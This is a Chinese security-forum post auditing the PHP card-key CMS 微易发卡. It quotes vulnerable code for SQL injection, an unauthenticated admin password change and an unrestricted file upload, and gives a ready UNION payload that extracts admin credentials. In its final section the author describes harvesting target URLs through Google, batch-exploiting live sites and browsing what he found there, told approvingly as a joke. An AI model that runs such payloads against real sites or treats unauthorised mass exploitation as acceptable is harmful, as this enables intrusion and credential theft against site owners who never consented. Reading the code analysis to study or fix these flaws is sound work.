用户
搜索
  • TA的每日心情
    擦汗
    昨天 20:14
  • 签到天数: 190 天

    连续签到: 1 天

    [LV.7]常住居民III

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    9

    主题

    112

    帖子

    1868

    魔法币
    收听
    3
    粉丝
    9
    注册时间
    2016-8-21

    i春秋签约作者春秋文阁

    发表于 2018-8-23 19:04:24 48236

    小菜鸡的代码审计之旅

    1.背景

    我这个混迹在作家团的小垃圾好久没法文章了,一直想审计php,最近终于下定决心审计一次,由于水平有限,找了一个入门级别的通用卡密CMS进行审计,大佬们求轻虐!上一次排版有问题哟,重新发了一下下!

    2.CMS介绍

    我审计的这款CMS叫做微易发卡

    1. 代码量不是特别多!
    2. 数据库中的表仅仅只有5张!
    3. 逻辑非常简单!
    4. 代码水平很低,完全可以和正方教务处(早期)的水平一个样!

      综合以上几点,我觉得平我这种垃圾水平很肯定能审计出一些东西哈!

    3.审计过程

    当我把CMS安装好之后,我看了一下其目录结构!

    2.1.png

    3.1 SQL注入

    3.1.1 源码分析

    咦,这个名为ajax.php的文件引起我的注意,目之所及通篇SQL注入,以卡密提取为例,构造payload,获取后台用户名,密码。

      //用户提取卡密
         case 'tqKm':
             $t = $_POST['t'];
             // 获取post请求中的t
             $sql = "select * from ayangw_km
             where out_trade_no ='{$t}' or trade_no = '{$t}' or rel = '{$t}'
             ORDER BY endTime desc
             limit 1";
             // sql 语句
            $res =$DB->query($sql);
            // 执行sql语句
            $ginfo = "";
            if($row =  $DB->fetch($res)){
                // 在if用取回查询结果
                $sql2 = "select * from ayangw_goods where id =".$row['gid'];
                // sql语句
                $res2 = $DB->query($sql2);
                $row2 = $DB->fetch($res2);
                $ginfo ="<tr><td id='td1'>".$row2['gName']."</td><td id='td2'>".$row['out_trade_no']."</td><td id='td3'>".$row['endTime']."</td><td id='td4'>".$row['km']."</td></tr>";
                exit('{"code":0,"msg":"'.$ginfo.'"}');
                // 回显结果
    
            }else{
                exit('{"code":-1,"msg":"无本条记录"}');
            }
             ;break;
    

    3.1.2 构造payload

    由此构造payload获取用户名密码如下:

    ' UNION ALL SELECT NULL,NULL,(SELECT ayangw_v FROM ayangw_config where ayangw_k='{0}'),NULL,NULL,NULL,NULL,NULL,NULL-- 

    {0}中可替换为admin、pwd,怎么产生sql注入,前两天有表哥在论坛上发了入门的文章哟!

    3.1.3利用结果

    2.2.png

    3.2 密码修改

    在admin文件下,同样看到了ajax.php,管理员的功能,根本没有做什么验证!发现一个非很好玩的功能!

    3.2.1 源码分析

     case 'upAdmin':
           $u= $_POST['u'];//用户名
           $p = $_POST['p'];//密码
           $b = $DB->query("update `ayangw_config` set `ayangw_v` ='{$p}' where `ayangw_k`='pwd'");
           if($b > 0){
               exit('{"code":1,"msg":"修改成功"}');
           }else{
               exit('{"code":-1,"msg":"修改失败"}');
           }
           ;break;

    这里u根本没用上,至于为什么,这个数据库表设计的让我蛋疼!为啥子写这个呢,因为哈,有些网站有waf,没有绕过waf的技巧,只能无耻的修改掉管理员密码咯!

    3.2.2 利用结果

    2.3.png

    3.3 文件上传

    这个代码写的真的是够够够啦

    3.3.1 源码分析

    elseif($_GET['mod']=='upimg'){
    echo '<div class="panel panel-primary"><div class="panel-heading"><h3 class="panel-title">更改首页LOGO</h3> </div><div class="panel-body">';
    if($_POST['s']==1){
    $extension=explode('.',$_FILES['file']['name']);
    if (($length = count($extension)) > 1) {
    $ext = strtolower($extension[$length - 1]);
    }
    if($ext=='png'||$ext=='gif'||$ext=='jpg'||$ext=='jpeg'||$ext=='bmp')$ext='png';
    copy($_FILES['file']['tmp_name'], ROOT.'/assets/imgs/logo.'.$ext);
    echo "成功上传文件!<br>(可能需要清空浏览器缓存才能看到效果)";
    }

    看到了么!if里面写了一堆判断,结果屁用没有!直接上传那!

    3.3.2 利用结果

    2.4.png

    4.最终实现

    在google中收集了一批网址,然后批量了一下 !

    2.5.png

    最终我这个纯洁的少年,知道什么是color、ROSE、GREEN、济州岛、百度1T资源、PUA、SP等。

    在生活的锤炼之下变成了一个老湿机,罪过罪过!

    加油,继续努力
    使用道具 举报 回复
    发表于 2018-8-24 10:27:46
    人在塔在
    使用道具 举报 回复
    学习一下~
    使用道具 举报 回复
    观摩大神..
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册